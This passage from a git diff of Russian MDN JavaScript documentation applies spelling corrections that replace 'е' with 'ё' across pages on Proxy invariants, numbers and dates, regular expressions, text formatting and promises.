      12. Свойство не может быть описано как несуществующее, если оно существует как собственное свойство целевого объекта target и target не расширяем.
      13. Свойство не может быть описано как существующее, если оно не существует как собственное свойство  целевого объекта target и target не расширяем.
      14. Свойство не может быть описано как неизменяемое, если оно не существует как собственное свойство целевого объекта target или если оно существует и является изменяемым, собственным свойством целевого объекта target.
        15. -
      15. Значение возвращенное методом Object.getOwnPropertyDescriptor(target) может быть применено к целевому объекту через метод Object.defineProperty и это не вызовет ошибки.
        16. +
      16. Значение возвращённое методом Object.getOwnPropertyDescriptor(target) может быть применено к целевому объекту через метод Object.defineProperty и это не вызовет ошибки.
        17. @@ -117,7 +117,7 @@ console.log(p.a, p.b); // 1, 42
      17. Нельзя добавить новое конфигурируемое свойство, или преобразовать существующее свойство в конфигурируемое, если оно не существует как собственное свойство целевого объекта или не является конфигурируемым.
      18. Свойство не может быть неконфигурируемым, если целевой объект имеет соответствующее собственное, конфигурируемое свойство.
      19. Если объект имеет свойство соответствующее создаваемому свойству, то Object.defineProperty(target, prop, descriptor) не вызовет ошибки.
        20. -
      20. В строгом режиме ("use strict";), если обработчик defineProperty вернет false, это вызовет ошибку {{jsxref("TypeError")}}.
        21. +
      21. В строгом режиме ("use strict";), если обработчик defineProperty вернёт false, это вызовет ошибку {{jsxref("TypeError")}}.
        22. @@ -141,7 +141,7 @@ console.log(p.a, p.b); // 1, 42
        • Значение, возвращаемое для свойства, должно равняться значению соответствующего свойства целевого объекта, если это свойство является доступным только для чтения, неконфигурируемым.
          • -
        • Значение, возвращаемое для свойства, должно равняться undefined, если соответствующее свойство целевого объекта является неконфигурируемым и обернуто в геттер и сеттер, где сеттер равен undefined.
          • +
        • Значение, возвращаемое для свойства, должно равняться undefined, если соответствующее свойство целевого объекта является неконфигурируемым и обёрнуто в геттер и сеттер, где сеттер равен undefined.
        @@ -153,7 +153,7 @@ console.log(p.a, p.b); // 1, 42
        • Нельзя изменить значение свойства на значение, отличное от значения соответствующего свойства целевого объекта, если это свойство целевого объекта доступно только для чтения, и является неконфигурируемым.
          • -
        • Нельзя установить значение свойства, если соответствующее свойство целевого объекта является неконфигурируемым, и обернуто в геттер и сеттер, где сеттер равен undefined.
          • +
        • Нельзя установить значение свойства, если соответствующее свойство целевого объекта является неконфигурируемым, и обёрнуто в геттер и сеттер, где сеттер равен undefined.
        • В строгом режиме, возвращение false из обработчика set вызовет ошибку {{jsxref("TypeError")}}.
        @@ -203,7 +203,7 @@ console.log(p.a, p.b); // 1, 42

        Отзываемый Proxy

        -

        Метод {{jsxref("Proxy.revocable()")}} создает отзываемый объект Proxy. Такой прокси объект может быть отозван функцией revoke, которая отключает все ловушки-обработчики. После этого любые операции над прокси объектом вызовут ошибку {{jsxref("TypeError")}}.

        +

        Метод {{jsxref("Proxy.revocable()")}} создаёт отзываемый объект Proxy. Такой прокси объект может быть отозван функцией revoke, которая отключает все ловушки-обработчики. После этого любые операции над прокси объектом вызовут ошибку {{jsxref("TypeError")}}.

        var revocable = Proxy.revocable({}, {
   get: function(target, name) {
@@ -233,7 +233,7 @@ typeof proxy;            // "object", для метода typeof нет лову
 
 
        Улучшенная функция apply
        
 
-
        В ES5 обычно используется метод {{jsxref("Function.prototype.apply()")}} для вызова функции в определенном контексте (с определенным this) и с параметрами, заданными в виде массива (или массива-подобного объекта).
        
+
        В ES5 обычно используется метод {{jsxref("Function.prototype.apply()")}} для вызова функции в определённом контексте (с определённым this) и с параметрами, заданными в виде массива (или массива-подобного объекта).
        
 
 
        Function.prototype.apply.call(Math.floor, undefined, [1.75]);
        
 
diff --git a/files/ru/web/javascript/guide/numbers_and_dates/index.html b/files/ru/web/javascript/guide/numbers_and_dates/index.html
index 09a2f8ee9e..038b00c440 100644
--- a/files/ru/web/javascript/guide/numbers_and_dates/index.html
+++ b/files/ru/web/javascript/guide/numbers_and_dates/index.html
@@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Guide/Numbers_and_dates
 0777 // обрабатывается как восьмеричное в нестрогой форме (511 в десятичной)
        -

        Обратите внимание, что десятичные литералы могут начинаться с нуля (0) за которым следует другая десятичная цифра, но если следующая за нулем цифра меньше 8, то число обрабатывается как восьмеричное.

        +

        Обратите внимание, что десятичные литералы могут начинаться с нуля (0) за которым следует другая десятичная цифра, но если следующая за нулём цифра меньше 8, то число обрабатывается как восьмеричное.

        Двоичные числа

        @@ -62,9 +62,9 @@ var negInfiniteNum = Number.NEGATIVE_INFINITY; var notANum = Number.NaN; -

        Как видно из примера выше, для получения перечисленных значений, нужно обращаться к свойствам предопределенного глобального объекта Number. Тогда как у экземпляра этого объекта, созданного вами при работе программы, этих свойств не будет. 

        +

        Как видно из примера выше, для получения перечисленных значений, нужно обращаться к свойствам предопределённого глобального объекта Number. Тогда как у экземпляра этого объекта, созданного вами при работе программы, этих свойств не будет. 

        -

        В следующей таблице приведен список свойств объекта Number.

        +

        В следующей таблице приведён список свойств объекта Number.

        @@ -139,7 +139,7 @@ var notANum = Number.NaN; - + @@ -280,7 +280,7 @@ var notANum = Number.NaN;

        Содержимым блока parameters в коде представленном выше, могут выступать любая из следующих конструкций:

          -
        • Пусто: создает текущую дату и время. Пример: today = new Date();.
          • +
        • Пусто: создаёт текущую дату и время. Пример: today = new Date();.
        • Текстовая строка, содержащая дату и время в следующем формате: "Месяц день, год часы:минуты:секунды". Например: var Xmas95 = new Date("December 25, 1995 13:30:00"). Если не указать секунды, минуты или часы, то их значение будет принято за 0.
        • Набор целочисленных значений для года, месяца и дня. Например: var Xmas95 = new Date(1995, 11, 25).
        • Набор целочисленных значений для года, месяца, дня, часов, минут и секунд. Например: var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);.
          • @@ -326,7 +326,7 @@ var notANum = Number.NaN; 
          var Xmas95 = new Date("December 25, 1995");
          -

          Тогда Xmas95.getMonth() вернет 11, а Xmas95.getFullYear() вернет 1995.

          +

          Тогда Xmas95.getMonth() вернёт 11, а Xmas95.getFullYear() вернёт 1995.

          Методы getTime и setTime могут быть полезны при сравнении дат. Метод getTime возвращает количество миллисекунд, прошедших с 00:00:00 1 Января, 1970 года.

          @@ -340,7 +340,7 @@ var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay; var daysLeft = Math.round(daysLeft); // возвращает количество дней, оставшихся до конца года -

          Этот пример создает объект Date названный today, который содержит текущую дату и время. Затем, создается вспомогательный Date объект, названный endYear, которому устанавливаются значения, указывающие на конец года. После этого, при помощи рассчитанного количества миллисекунд в сутках, вычисляется количество дней между  today и endYear, При этом используются метод getTime и округление, для получения количества полных дней.

          +

          Этот пример создаёт объект Date названный today, который содержит текущую дату и время. Затем, создаётся вспомогательный Date объект, названный endYear, которому устанавливаются значения, указывающие на конец года. После этого, при помощи рассчитанного количества миллисекунд в сутках, вычисляется количество дней между  today и endYear, При этом используются метод getTime и округление, для получения количества полных дней.

          Метод parse полезен для присвоения значений существующим объектам Date из текстового формата. Например, следующий код использует методы parse и setTime чтобы установить значение переменной IPOdate:

          @@ -367,11 +367,11 @@ IPOdate.setTime(Date.parse("Aug 9, 1995")); } -

          Первым делом, функция JSClock создает новый объект Date, названный time; так как объект создается баз параметров, переменная time содержит текущую дату и время. Затем вызываются методы getHours, getMinutes и getSeconds, чтобы установить значения переменным hour, minute и second.

          +

          Первым делом, функция JSClock создаёт новый объект Date, названный time; так как объект создаётся баз параметров, переменная time содержит текущую дату и время. Затем вызываются методы getHours, getMinutes и getSeconds, чтобы установить значения переменным hour, minute и second.

          -

          Следующие четыре выражения строят текстовую строку на основе time. Первое из них создает переменную temp, присваивая ей значение при помощи условия; Если hour больше чем 12, то (hour - 12), иначе просто hour. В случае же, когда hour равно 0, берется фиксированное значение "12".

          +

          Следующие четыре выражения строят текстовую строку на основе time. Первое из них создаёт переменную temp, присваивая ей значение при помощи условия; Если hour больше чем 12, то (hour - 12), иначе просто hour. В случае же, когда hour равно 0, берётся фиксированное значение "12".

          -

          Следующее выражение приращивает минуты к переменной temp. Если количество минут меньше 10, то условное выражение добавляет строку с двоеточием и заполняющим нулем, иначе, просто строку с двоеточием. Секунды приращиваются к переменной temp тем же путем.

          +

          Следующее выражение приращивает минуты к переменной temp. Если количество минут меньше 10, то условное выражение добавляет строку с двоеточием и заполняющим нулём, иначе, просто строку с двоеточием. Секунды приращиваются к переменной temp тем же путем.

          В завершение всего, последнее условное выражение добавляет строку "P.M." к переменной temp если hour равно или больше 12, иначе, добавляется строка "A.M.".

          diff --git a/files/ru/web/javascript/guide/regular_expressions/assertions/index.html b/files/ru/web/javascript/guide/regular_expressions/assertions/index.html index 2d04ed19aa..4906966bb8 100644 --- a/files/ru/web/javascript/guide/regular_expressions/assertions/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/assertions/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions ---

          {{jsSidebar("JavaScript Guide")}}{{draft}}

          -

          Проверка (assertion) задает возможность совпадения одним из указанных способов. Проверка может содержать условные выражения, опережающие (look-ahead) и ретроспективные (look-behind) проверки.

          +

          Проверка (assertion) задаёт возможность совпадения одним из указанных способов. Проверка может содержать условные выражения, опережающие (look-ahead) и ретроспективные (look-behind) проверки.

          Типы

          @@ -25,7 +25,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions
        @@ -37,13 +37,13 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions diff --git a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html index 16df319f96..451d5d78bb 100644 --- a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html @@ -48,84 +48,84 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Character_Classes - + - + - + - + - + - + - + - + - + - + diff --git a/files/ru/web/javascript/guide/regular_expressions/index.html b/files/ru/web/javascript/guide/regular_expressions/index.html index 1769079e27..d6a9f157de 100644 --- a/files/ru/web/javascript/guide/regular_expressions/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/index.html @@ -26,7 +26,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions -

        Использование конструктора влечет за собой компиляцию регулярного выражения во время исполнения скрипта. Используйте данный способ, если знаете, что выражение будет изменяться или не знаете шаблон заранее. Например вы получаете его из стороннего источника, при пользовательском вводе.

        +

        Использование конструктора влечёт за собой компиляцию регулярного выражения во время исполнения скрипта. Используйте данный способ, если знаете, что выражение будет изменяться или не знаете шаблон заранее. Например вы получаете его из стороннего источника, при пользовательском вводе.

        @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions

        Использование простых шаблонов

        -

        Простые шаблоны используются для нахождения прямого соответствия в тексте. Например, шаблон /abc/ соответствует комбинации символов в строке  только когда символы 'abc' встречаются вместе и в том же порядке. Такое сопоставление произойдет в строке "Hi, do you know your abc's?" и "The latest airplane designs evolved from slabcraft." В обоих случаях сопоставление произойдет с подстрокой 'abc'. Сопоставление не произойдет в строке "Grab crab", потому что она не содержит подстроку 'abc'.

        +

        Простые шаблоны используются для нахождения прямого соответствия в тексте. Например, шаблон /abc/ соответствует комбинации символов в строке  только когда символы 'abc' встречаются вместе и в том же порядке. Такое сопоставление произойдёт в строке "Hi, do you know your abc's?" и "The latest airplane designs evolved from slabcraft." В обоих случаях сопоставление произойдёт с подстрокой 'abc'. Сопоставление не произойдёт в строке "Grab crab", потому что она не содержит подстроку 'abc'.

        Использование специальных символов

        @@ -171,13 +171,13 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions @@ -283,7 +283,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions @@ -299,7 +299,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions @@ -375,7 +375,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions
        Свойства объекта Number
        {{jsxref("Number.isNaN()")}}Определяет, является ли число, переданное в качестве аргумента, {{jsxref("Global_Objects/NaN", "NaN")}} (не числом). Аналогичный, но более надежный метод чем глобальная функция {{jsxref("Global_Objects/isNaN", "isNaN()")}}.Определяет, является ли число, переданное в качестве аргумента, {{jsxref("Global_Objects/NaN", "NaN")}} (не числом). Аналогичный, но более надёжный метод чем глобальная функция {{jsxref("Global_Objects/isNaN", "isNaN()")}}.
        {{jsxref("Number.isSafeInteger()")}} x(?=y)

        Опережающая проверка: x подходит только когда за x следует y. Например, /Jack(?=Sprat)/ сработает для "Jack"  только когда за ним будет "Sprat".
        - /Jack(?=Sprat|Frost)/ подойдет для "Jack" только когда за ним будет "Sprat" или "Frost". Следует заметить, что ни "Sprat" ни "Frost" не будут выданы как часть проверки.

        + /Jack(?=Sprat|Frost)/ подойдёт для "Jack" только когда за ним будет "Sprat" или "Frost". Следует заметить, что ни "Sprat" ни "Frost" не будут выданы как часть проверки.
        (?<=y)x -

        Ретроспективная проверка: x подходит только когда x предшествует y. Например, /(?<=Jack)Sprat/ сработает для "Sprat" только если перед ним есть "Jack". /(?<=Jack|Tom)Sprat/ подойдет для "Sprat" если перед ним будут "Jack" или "Tom". Заметим, что ни "Jack" ни "Tom" не будут выданы.

        +

        Ретроспективная проверка: x подходит только когда x предшествует y. Например, /(?<=Jack)Sprat/ сработает для "Sprat" только если перед ним есть "Jack". /(?<=Jack|Tom)Sprat/ подойдёт для "Sprat" если перед ним будут "Jack" или "Tom". Заметим, что ни "Jack" ни "Tom" не будут выданы.
        (?<!y)x -

        Отрицательная ретроспективная проверка: x подходит только когда x не предшествует y. Например, /(?<!-)\d+/ сработает для числа в том случае, если перед ним не стоит знак минус. Выполнение кода /(?<!-)\d+/.exec('3') выдаст "3". Код /(?<!-)\d+/.exec('-3') ничего не найдет, т.к. перед числом есть знак минус.

        +

        Отрицательная ретроспективная проверка: x подходит только когда x не предшествует y. Например, /(?<!-)\d+/ сработает для числа в том случае, если перед ним не стоит знак минус. Выполнение кода /(?<!-)\d+/.exec('3') выдаст "3". Код /(?<!-)\d+/.exec('-3') ничего не найдёт, т.к. перед числом есть знак минус.
        \d -

        Совпадет с любой цифрой (арабский числа). Эквивалентно  [0-9]. Например, /\d/ или /[0-9]/ находит "2" в "B2 is the suite number"..

        +

        Совпадёт с любой цифрой (арабский числа). Эквивалентно  [0-9]. Например, /\d/ или /[0-9]/ находит "2" в "B2 is the suite number"..
        \D -

        Совпадет с любым символом, который не является цифрой (арабский числа). Эквивалентно [^0-9]. Например, /\D/ or /[^0-9]/ находит "B" в "B2 is the suite number".

        +

        Совпадёт с любым символом, который не является цифрой (арабский числа). Эквивалентно [^0-9]. Например, /\D/ or /[^0-9]/ находит "B" в "B2 is the suite number".
        \w -

        Совпадет с любой буквенно-числовым символом из базового латинского алфавита включая нижнее подчёркивание.  Эквивалентно [A-Za-z0-9_]. Например, /\w/ находит "a" в "apple", "5" в "$5.28", "3" в "3D" и "m" в "Émanuel".

        +

        Совпадёт с любой буквенно-числовым символом из базового латинского алфавита включая нижнее подчёркивание.  Эквивалентно [A-Za-z0-9_]. Например, /\w/ находит "a" в "apple", "5" в "$5.28", "3" в "3D" и "m" в "Émanuel".
        \W -

        Совпадет с любой буквенно-числовым, которое не является символом базового латинского алфавита, так же исключая нижнее подчёркивание.  Эквивалентно [^A-Za-z0-9_]. Например, /\W/ или /[^A-Za-z0-9_]/ находит "%" в "50%" и "É" in "Émanuel".

        +

        Совпадёт с любой буквенно-числовым, которое не является символом базового латинского алфавита, так же исключая нижнее подчёркивание.  Эквивалентно [^A-Za-z0-9_]. Например, /\W/ или /[^A-Za-z0-9_]/ находит "%" в "50%" и "É" in "Émanuel".
        \s -

        Совпадет с любым пробельным символом, включая пробел, символ табуляции, символ подачи страницы, символ подачи строки и другие Unicode пробелы. Эквивалентно [ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]. Например, /\s\w*/ находит " bar" в "foo bar".

        +

        Совпадёт с любым пробельным символом, включая пробел, символ табуляции, символ подачи страницы, символ подачи строки и другие Unicode пробелы. Эквивалентно [ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]. Например, /\s\w*/ находит " bar" в "foo bar".
        \S -

        Совпадет с любым символом, не являющимся пробельным. Эквивалентно [^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]. Например, /\S\w*/ находит "foo" в "foo bar".

        +

        Совпадёт с любым символом, не являющимся пробельным. Эквивалентно [^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]. Например, /\S\w*/ находит "foo" в "foo bar".
        \tСовпадет с символом горизонтальной табуляции.Совпадёт с символом горизонтальной табуляции.
        \rСовпадет с символом возврата каретки.Совпадёт с символом возврата каретки.
        \nСовпадет с символом подачи строки.Совпадёт с символом подачи строки.
        \vСовпадет с символом вертикальной табуляцииСовпадёт с символом вертикальной табуляции
        \fСовпадет с символом подачи страницы (формы).Совпадёт с символом подачи страницы (формы).
        [\b]Совпадет с символом возврат назад (англ. backspace). Если вы ищите символ границы слова (\b), смотри Границы.Совпадёт с символом возврат назад (англ. backspace). Если вы ищите символ границы слова (\b), смотри Границы.
        \0Совпадет с символом NUL character. Не используйте другую цифру.Совпадёт с символом NUL character. Не используйте другую цифру.
        \cX -

        Совпадет с контрольным символом using каретную нотацию, где "X" буква A–Z (соответствует кодам U+0001–U+001F). For example, /\cM/ matches "\r" in "\r\n".

        +

        Совпадёт с контрольным символом using каретную нотацию, где "X" буква A–Z (соответствует кодам U+0001–U+001F). For example, /\cM/ matches "\r" in "\r\n".
        \xhhСовпадет с символом, код которого hh (две шестнадцатеричных цифры).Совпадёт с символом, код которого hh (две шестнадцатеричных цифры).
        \uhhhhСовпадет с код-блоком UTF-16 со значением hhhh (четыре шестнадцатеричных цифры).Совпадёт с код-блоком UTF-16 со значением hhhh (четыре шестнадцатеричных цифры).
        \u{hhhh} or \u{hhhhh}(Только когда установлен флаг u.) Совпадет с Unicode символом со значением  U+hhhh или U+hhhhh (шестнадцатеричные цифры).(Только когда установлен флаг u.) Совпадёт с Unicode символом со значением  U+hhhh или U+hhhhh (шестнадцатеричные цифры).
        \

        m и n - положительные целые. Соответствует как минимум n и максимум m вхождениям предыдущего символа. При m=n=1 пропускается.

        -

        Например, /a{1,3}/ ничему не соответствует в строке "cndy", символу 'a' в "candy," двум а в "caandy," и трем первым а в "caaaaaaandy". Отметим, что при сопоставлении "caaaaaaandy", совпадает "aaa", хотя изначальная строка содержит больше а.

        +

        Например, /a{1,3}/ ничему не соответствует в строке "cndy", символу 'a' в "candy," двум а в "caandy," и трём первым а в "caaaaaaandy". Отметим, что при сопоставлении "caaaaaaandy", совпадает "aaa", хотя изначальная строка содержит больше а.
        [xyz] -

        Набор символов. Соответствует любому символу из перечисленных. Можно указать диапазон символов, используя тире. Специальные символы (как точка (.) и звездочка (*)) не имеют специального значения внутри такого набора. Их не надо экранировать. Экранирование работает также.

        +

        Набор символов. Соответствует любому символу из перечисленных. Можно указать диапазон символов, используя тире. Специальные символы (как точка (.) и звёздочка (*)) не имеют специального значения внутри такого набора. Их не надо экранировать. Экранирование работает также.

        Например, [abcd] эквивалентна [a-d]. Они соответствуют 'b' в "brisket" и 'c' в "city". /[a-z.]+/ и /[\w.]+/ обе соответствуют всему в "test.i.ng".

        \w -

        Соответствует любому цифробуквенному символу включая нижнее подчеркивание. Эквивалентен [A-Za-z0-9_].

        +

        Соответствует любому цифробуквенному символу включая нижнее подчёркивание. Эквивалентен [A-Za-z0-9_].

        Например, /\w/ совпадает с 'a' в "apple," '5' в "$5.28," и '3' в "3D."

        \n -

        Где n это положительное целое, обратная ссылка на последнюю найденную подстроку, соответствующую n , заключенную в круглые скобки в регулярном выражении (считая левые скобки).

        +

        Где n это положительное целое, обратная ссылка на последнюю найденную подстроку, соответствующую n , заключённую в круглые скобки в регулярном выражении (считая левые скобки).

        Например, /apple(,)\sorange\1/ соответствует 'apple, orange,' в "apple, orange, cherry, peach."
        -

        Чтобы просто узнать есть ли в строке что либо соответствующее шаблону, воспользуйтесь методами test или search; а чтобы получить больше информации пользуйтесь методами exec или match (хотя эти метода работают медленнее). Если вы пользуетесь exec или match и если совпадения есть, эти методы вернут массив и обновленные свойства объекта ассоциированного регулярного выражения а также предопределенного объекта RegExp регулярного выражения. Если совпадений нет, метод exec вернет null (который сконвертируется в  false).

        +

        Чтобы просто узнать есть ли в строке что либо соответствующее шаблону, воспользуйтесь методами test или search; а чтобы получить больше информации пользуйтесь методами exec или match (хотя эти метода работают медленнее). Если вы пользуетесь exec или match и если совпадения есть, эти методы вернут массив и обновлённые свойства объекта ассоциированного регулярного выражения а также предопределённого объекта RegExp регулярного выражения. Если совпадений нет, метод exec вернёт null (который сконвертируется в  false).

        В след. примере, скрипт использует метод exec чтобы найти совпадения в строке.

        @@ -388,13 +388,13 @@ var myArray = myRe.exec("cdbbdbsbz"); 
        var myArray = /d(b+)d/g.exec("cdbbdbsbz");
        -

        Если вы хотите сконструировать регулярное выражение из строки, другой способ сделать это приведен ниже:

        +

        Если вы хотите сконструировать регулярное выражение из строки, другой способ сделать это приведён ниже:

        var myRe = new RegExp("d(b+)d", "g");
 var myArray = myRe.exec("cdbbdbsbz");
        -

        С помощью этих скриптов, поиск совпадения завершается и возвращает массив и обновленные свойства показанные  в след. таблице.

        +

        С помощью этих скриптов, поиск совпадения завершается и возвращает массив и обновлённые свойства показанные  в след. таблице.

        @@ -431,7 +431,7 @@ var myArray = myRe.exec("cdbbdbsbz"); - + @@ -471,7 +471,7 @@ console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex);

        Использование скобочных выражений для нахождения подстрок

        -

        Использование скобок в шаблоне регулярного выражения повлечет "запоминание" совпавшей подстроки. Для примера, /a(b)c/ вызовет совпадение 'abc' и запомнит 'b'. Чтобы получить совпадения скобочного выражения используйте Array elements [1], ..., [n].

        +

        Использование скобок в шаблоне регулярного выражения повлечёт "запоминание" совпавшей подстроки. Для примера, /a(b)c/ вызовет совпадение 'abc' и запомнит 'b'. Чтобы получить совпадения скобочного выражения используйте Array elements [1], ..., [n].

        Число возможных скобочных подстрок неограничено. Возвращаемый массив содержит все полученные совпадения, удовлетворяющие выражению в скобках. Следующий пример показывает как использовать скобочные выражения для нахождения подстрок.

        @@ -557,7 +557,7 @@ console.log(myArray);

        Изменение порядка в Исходной Строке

        -

        След. пример иллюстрирует формирование регулярного выражения и использование string.split() и string.replace(). Он очищает неправильно сформатированную исходную строку, которая содержит имена в неправильном порядке (имя идет первым) разделенные пробелами, табуляцией и одной точкой с запятой. В конце, изменяется порядок следования имен (фамилия станет первой) и сортируется список.

        +

        След. пример иллюстрирует формирование регулярного выражения и использование string.split() и string.replace(). Он очищает неправильно сформатированную исходную строку, которая содержит имена в неправильном порядке (имя идёт первым) разделённые пробелами, табуляцией и одной точкой с запятой. В конце, изменяется порядок следования имён (фамилия станет первой) и сортируется список.

        // The name string contains multiple spaces and tabs,
 // and may have multiple spaces between first and last names.
@@ -621,11 +621,11 @@ console.log(output.join("\n"));
 
 
        Использование спецсимволов для проверки входных данных
        
 
-
        В след. примере, ожидается что пользователь введет телефонный номер и требуется проверить правильность символов набранных пользователем. Когда пользователь нажмет кнопку "Check", скрипт проверит правильность введенного номера. Если номер правильный (совпадает с символами определенными в регулярном выражении), то скрипт покажет сообщение благодарности для пользователя и подтвердит номер. Если нет, то скрипт проинформирует пользователя, что телефонный номер неправильный.
        
+
        В след. примере, ожидается что пользователь введёт телефонный номер и требуется проверить правильность символов набранных пользователем. Когда пользователь нажмёт кнопку "Check", скрипт проверит правильность введённого номера. Если номер правильный (совпадает с символами определёнными в регулярном выражении), то скрипт покажет сообщение благодарности для пользователя и подтвердит номер. Если нет, то скрипт проинформирует пользователя, что телефонный номер неправильный.
        
 
 
        Внутри незахватывающих скобок (?:, регуляное выражение ищет три цифры \d{3} ИЛИ |  открывающую скобку \(, затем три цифры \d{3}, затем закрывающую скобку \), (закрывающая незахватывающая скобка )), затем тире, слеш, или десятичная точка, и когда это выражение найдено, запоминает символ ([-\/\.]),  следующие за ним и запомненные три цифры \d{3}, следующее соответствие тире, слеша или десятичной точки \1, и следующие четыре цифры \d{4}.
        
 
-
        Регулярное выражение ищет сначала 0 или одну открывающую скобку \(?, затем три цифры \d{3}, затем 0 или одну закрывающую скобку \)?, потом одно тире, слеш или точка и когда найдет это, запомнит символ([-\/\.]), след. три цифры \d{3}, followed by the remembered match of a dash, forward slash, or decimal point \1, followed by four digits \d{4}.
        
+
        Регулярное выражение ищет сначала 0 или одну открывающую скобку \(?, затем три цифры \d{3}, затем 0 или одну закрывающую скобку \)?, потом одно тире, слеш или точка и когда найдёт это, запомнит символ([-\/\.]), след. три цифры \d{3}, followed by the remembered match of a dash, forward slash, or decimal point \1, followed by four digits \d{4}.
        
 
 
        Событие "Изменить" активируется, когда пользователь подтвердит ввод значения регулярного выражения, нажав клавишу "Enter". 
        
 
diff --git a/files/ru/web/javascript/guide/text_formatting/index.html b/files/ru/web/javascript/guide/text_formatting/index.html
index 3539b94652..8d7ce164b9 100644
--- a/files/ru/web/javascript/guide/text_formatting/index.html
+++ b/files/ru/web/javascript/guide/text_formatting/index.html
@@ -67,7 +67,7 @@ console.log(str);
 
 
        var s = new String("foo"); // Создание объекта
 console.log(s); // Отобразится: { '0': 'f', '1': 'o', '2': 'o'}
-typeof s; // Вернет 'object'
+typeof s; // Вернёт 'object'
 
        
 
 
        Вы можете вызвать любой метод объекта класса String на строковом литерале - JavaScript сам преобразует строковый литерал во временный объект String, вызовет требуемый метод и затем уничтожит этот временный объект. Со строковыми литералами вы также можете использовать и String.length свойство.
        
@@ -76,15 +76,15 @@ typeof s; // Вернет 'object'
 
 
        var s1 = "2 + 2"; // Создание строкового литерала
 var s2 = new String("2 + 2"); // Создание String объекта
-eval(s1); // Вернет 4
-eval(s2); // Вернет строку "2 + 2"
        
+eval(s1); // Вернёт 4
+eval(s2); // Вернёт строку "2 + 2"

        Объект String имеет свойство length, которое обозначает количество символов в строке. Например, в следующем коде x получит значение 13 потому, что "Hello, World!" содержит 13 символов, каждый из которых представлен одним кодом UTF-16. Вы можете обратиться к каждому коду с помощью квадратных скобок. Вы не можете изменять отдельные символы строки, т.к. строки это массива-подобные неизменяемые объекты:

        var mystring = "Hello, World!";
 var x = mystring.length;
-mystring[0] = 'L'; // Ничего не произойдет, т.к. строки неизменяемые
-mystring[0]; // Вернет: "H"
+mystring[0] = 'L'; // Ничего не произойдёт, т.к. строки неизменяемые
+mystring[0]; // Вернёт: "H"

        Объект String имеет множество методов, в том числе и те, которые возвращают преобразованную исходную строку (методы substring, toUpperCase и другие).

        @@ -120,7 +120,7 @@ mystring[0]; // Вернет: "H" - + @@ -209,7 +209,7 @@ console.log(`Fifteen is ${a + b} and\nnot ${2 * a + b}.`);

        Интернационализация

        -

        Объект {{jsxref("Intl")}} представляет собой пространство имен для ECMAScript API по интернационализации, которое обеспечивает чувствительное к языку сравнение строк, форматирование чисел, времени и даты. Конструкторы для объектов {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} и {{jsxref("DateTimeFormat")}} являются свойствами объекта Intl.

        +

        Объект {{jsxref("Intl")}} представляет собой пространство имён для ECMAScript API по интернационализации, которое обеспечивает чувствительное к языку сравнение строк, форматирование чисел, времени и даты. Конструкторы для объектов {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} и {{jsxref("DateTimeFormat")}} являются свойствами объекта Intl.

        Форматирование времени и даты

        @@ -247,7 +247,7 @@ console.log(hanDecimalRMBInChina.format(1314.25)); // ￥ 一,三一四.二五

        Объект {{jsxref("Collator")}} полезен для сравнения и сортировки строк.

        -

        Например, в Германии есть два различных порядка сортировки строк в зависимости от документа: телефонная книга или словарь. Сортировка по типу телефонной книги подчеркивает звуки.

        +

        Например, в Германии есть два различных порядка сортировки строк в зависимости от документа: телефонная книга или словарь. Сортировка по типу телефонной книги подчёркивает звуки.

        var names = ["Hochberg", "Hönigswald", "Holzman"];
 
diff --git a/files/ru/web/javascript/guide/using_promises/index.html b/files/ru/web/javascript/guide/using_promises/index.html
index fea85730ac..19183e72e9 100644
--- a/files/ru/web/javascript/guide/using_promises/index.html
+++ b/files/ru/web/javascript/guide/using_promises/index.html
@@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Guide/Ispolzovanie_promisov
 
        {{jsSidebar("Руководство по JavaScript")}}{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Iterators_and_Generators")}}
        
 
 
-
        {{jsxref("Promise")}} (промис, англ. "обещание") - это объект, представляющий результат успешного или неудачного завершения асинхронной операции. Так как большинство людей пользуются уже созданными промисами, это руководство начнем с объяснения использования вернувшихся промисов до объяснения принципов создания. 
        
+
        {{jsxref("Promise")}} (промис, англ. "обещание") - это объект, представляющий результат успешного или неудачного завершения асинхронной операции. Так как большинство людей пользуются уже созданными промисами, это руководство начнём с объяснения использования вернувшихся промисов до объяснения принципов создания. 
        
 
 
        В сущности, промис - это возвращаемый объект, в который вы записываете два колбэка вместо того, чтобы передать их функции.
        
 
@@ -65,7 +65,7 @@ promise.then(successCallback, failureCallback);

        Гарантии

        -

        В отличие от старомодных переданных колбэков промис дает некоторые гарантии:

        +

        В отличие от старомодных переданных колбэков промис даёт некоторые гарантии:

        • Колбэки никогда не будут вызваны до завершения обработки текущего события в событийном цикле JavaScript.
          • @@ -134,7 +134,7 @@ let promise2 = promise.then(successCallback, failureCallback);

          Цепочка вызовов после catch

          -

